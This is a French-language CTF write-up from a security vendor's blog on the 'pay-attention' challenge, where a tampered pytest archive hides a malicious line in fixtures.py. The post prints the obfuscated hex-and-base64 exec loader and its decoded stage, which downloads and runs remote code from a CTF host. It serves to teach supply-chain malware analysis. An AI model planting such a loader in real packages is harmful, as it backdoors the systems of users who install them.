Skip to main content

Décryptage du CTF Fetch the Flag 2022 : Pay Attention

Écrit par

Assaf Ben Josef

feature ctf pay attention

10 novembre 2022

0 minutes de lecture

Merci d’avoir participé à Fetch avec nous ! Félicitations aux milliers de joueurs qui nous ont rejoints pour Fetch the Flag CTF. Et un immense merci aux Snykers qui ont créé, testé et documenté les défis !

Dans cet article, nous allons voir comment notre équipe a abordé le défi pay-attention du CTF Fetch the Flag 2022 de Snyk. Ce défi simule une situation où un paquet populaire a probablement été détourné et rendu malveillant. Nous allons nous mettre dans la peau de la personne chargée de la recherche en sécurité qui enquête sur le problème !

Guide pas à pas

Au lancement, un fichier téléchargeable nous est proposé : pytest-7.1.3.tar.gz, accompagné de l’indice « Avez-vous été attentif récemment ? ».

D’emblée, le nom du fichier nous interpelle. Pytest est un framework de test Python très populaire et, à l’heure où nous écrivons ces lignes, la version 7.1.3 est la plus récente. Il semble donc que ce fichier soit une archive de la dernière version de pytest.

Il ne peut certainement pas s’agir d’une copie conforme de la véritable version 7.1.3 de pytest, sinon nous n’aurions aucun indice à exploiter ! Pour le vérifier, nous allons consulter le dépôt GitHub de pytest et télécharger le code source de la version 7.1.3. En examinant les propriétés de ces archives, nous constatons que la version de pytest du CTF est légèrement plus volumineuse que la version originale.

Pour trouver précisément où se situe la différence entre ces deux archives, nous pouvons extraire les dossiers et les comparer à l’aide de la commande diff -rq dans le terminal. Celle-ci parcourt récursivement le contenu des dossiers à la recherche de différences entre les fichiers, comme ceci :

Terminal affichant un diff entre deux répertoires pytest, avec des différences dans setup.cfg et des fichiers source Python.

Nous trouvons quelques différences mineures dans certains fichiers de métadonnées. Mais surtout, l’un des fichiers de code source proprement dits, fixtures.py, diffère entre les deux dossiers : nous tenons notre piste !

Repérer le code suspect

En examinant le fichier dans notre IDE préféré et en le parcourant un moment (ou en laissant l’IDE nous signaler une indentation inattendue), nous repérons cette ligne de code suspecte :

__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').exec(__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').compile(__import__('\x62\x61\x73\x65\x36\x34').b64decode("ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZgpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zcwoKX3R0bXAgPSBfZmYoZGVsZXRlPUZhbHNlKQpfdHRtcC53cml0ZShiIiIiZnJvbSB1cmxsaWIucmVxdWVzdCBpbXBvcnQgdXJsb3BlbiBhcyBfdXU7ZXhlYyhfdXUoJ2h0dHA6Ly9wYXktYXR0ZW50aW9uLmMuY3RmLXNueWsuaW8vaW5qZWN0b3InKS5yZWFkKCkpIiIiKQpfdHRtcC5jbG9zZSgpCnRyeTogX3NzKGYie19lZX0ge190dG1wLm5hbWV9IikKZXhjZXB0OiBwYXNz"),'<string>','\x65\x78\x65\x63'))

À première vue, cette ligne semble importer des bibliothèques, puis appeler des fonctions intéressantes, comme b64decode et exec. C’est clairement suspect, mais nous ne savons pas encore vraiment ce qui se passe. Décodons tout ça.

Nous allons commencer par les chaînes les plus courtes qui suivent un motif similaire, comme \x65\x78\x65\x63.

Certains savent peut-être que Python 3 utilise Unicode pour représenter les chaînes de caractères. En approfondissant la documentation de Python 3, nous découvrons que ce motif correspond simplement à la représentation hexadécimale à deux chiffres des points de code Unicode.

Mais, en réalité, nous n’avons pas besoin de tout savoir cela. En observant la ligne de code, nous voyons que ces chaînes sont transmises telles quelles à des fonctions intégrées de Python, comme __import__(). Nous pouvons donc supposer que l’interpréteur Python sait déjà les traiter. En lançant un REPL Python, nous pouvons appeler la fonction print() avec n’importe laquelle de ces chaînes pour afficher leur représentation Unicode lisible. Par exemple, print(‘\x65\x78\x65\x63’) renverrait la chaîne exec. Pratique !

Une fois tout cela décodé, nous obtenons le résultat suivant :

__import__('builtins').exec(
   __import__('builtins').compile(
       __import__('base64').b64decode(
  "ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZgpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zcwoKX3R0bXAgPSBfZmYoZGVsZXRlPUZhbHNlKQpfdHRtcC53cml0ZShiIiIiZnJvbSB1cmxsaWIucmVxdWVzdCBpbXBvcnQgdXJsb3BlbiBhcyBfdXU7ZXhlYyhfdXUoJ2h0dHA6Ly9wYXktYXR0ZW50aW9uLmMuY3RmLXNueWsuaW8vaW5qZWN0b3InKS5yZWFkKCkpIiIiKQpfdHRtcC5jbG9zZSgpCnRyeTogX3NzKGYie19lZX0ge190dG1wLm5hbWV9IikKZXhjZXB0OiBwYXNz"),
       '<string>', 'exec'))

Il semble que ce script décode une chaîne en base 64, la compile, puis l’exécute. Nous voulons maintenant savoir quel morceau de code est exécuté. Décodons donc cette chaîne en base 64 à l’aide d’un outil de décodage en ligne. Voici ce que nous obtenons :

from tempfile import NamedTemporaryFile as _ff
from sys import executable as _ee
from os import system as _ss

_ttmp = _ff(delete=False)
_ttmp.write(b"""from urllib.request import urlopen as _uu;exec(_uu('http://pay-attention.c.ctf-snyk.io/injector').read())""")
_ttmp.close()
try: _ss(f"{_ee} {_ttmp.name}")
except: pass

Cette fois, le code semble créer un fichier temporaire, y écrire un court script, puis l’exécuter. Le script contenu dans ce fichier temporaire télécharge et exécute un morceau de code depuis une ressource en ligne (sur le domaine du CTF de Snyk).

Nous voulons suivre les indices jusqu’au bout pour découvrir quel morceau de code est finalement exécuté dans cette chaîne, mais nous nous heurtons à un obstacle de taille. Le code téléchargé est complètement obscurci ! La seule partie compréhensible se trouve tout en haut : elle nous indique le nom et le dépôt GitHub de l’outil utilisé pour obscurcir le code, Hyperion.

Notre premier réflexe pourrait être de nous dire que, puisque nous avons le script obscurci et le code source de l’outil d’obfuscation, il nous suffit de retrousser nos manches et de faire de la rétro-ingénierie. Cependant, comme ce script semble très bien obscurci et que le fichier README du dépôt GitHub de l’outil indique qu’aucun outil de désobfuscation n’est disponible pour le moment, nous avons décidé d’épuiser d’abord toutes les autres pistes.

Dans cette optique, nous avons commencé par télécharger le script obscurci dans un fichier local, puis par configurer un environnement de débogage pour voir si nous pouvions repérer quelque chose d’intéressant à l’exécution. Dans notre IDE préféré, nous pouvons déboguer et exécuter ce code ligne par ligne afin de surveiller ce qui se passe.

Avertissement de sécurité

Dans une situation réelle, si nous avions affaire à un script conçu pour causer des dommages, nous effectuerions toutes ces opérations dans un environnement sandbox sécurisé !

Heureusement, notre œil finit par repérer le flag dissimulé parmi les variables déclarées (après avoir supprimé les barres obliques inverses) :

Débogueur de code sur fond sombre affichant des valeurs de variables, dont une longue chaîne, une méthode intégrée de concaténation de chaînes et None

Vous avez été attentif !

Pour récapituler, nous avons trouvé :

  • Un paquet qui semblait inoffensif, mais dont l’un des fichiers contenait une ligne de code suspecte

  • Cette ligne de code compile et exécute un script encodé en base 64

  • Ce script crée et exécute un fichier temporaire

  • Ce fichier accède à une ressource distante pour télécharger un script obscurci, puis l’exécute

  • En examinant et en déboguant ce script obscurci, nous avons finalement trouvé le flag dissimulé parmi ses déclarations.

Ce type d’obfuscation à plusieurs niveaux est très courant dans les injections de scripts malveillants. Quelle aventure !

Vous voulez savoir comment nous avons trouvé tous les autres flags ? Consultez notre page solutions de Fetch the Flag pour découvrir comment nous avons procédé.

Lire la suite

illustration hero ai
Blog

PHP corrige deux vulnérabilités RCE critiques exploitables sans authentification (CVE-2026-109618, CVE-2026-109619) : mettez à jour dès maintenant

Deux vulnérabilités critiques dans le cycle de traitement des requêtes de PHP peuvent permettre l’exécution de code à distance sans authentification. Passez à une version corrigée ou installez un correctif rétroporté par votre fournisseur pour les versions antérieures.

blog feature ai lilac
Blog

Transformez votre backlog de vulnérabilités en pull requests grâce à la remédiation agentique

Evo Remediation Agent est désormais disponible en aperçu ouvert et apporte la résolution automatisée des dépendances à Evo Agentic AppSec. Les équipes AppSec peuvent désormais lancer des campagnes de remédiation continues

AI Background min crop
Blog

L’IA fait surgir tous les risques que vous avez acceptés : sept enseignements du panel de sécurité de l’IA sans filtre

L’IA rend les attaques moins coûteuses et plus rapides, exposant des risques déjà présents dans les organisations. Quatre responsables de la sécurité expliquent pourquoi une défense à la vitesse des machines et une remédiation accélérée sont désormais indispensables.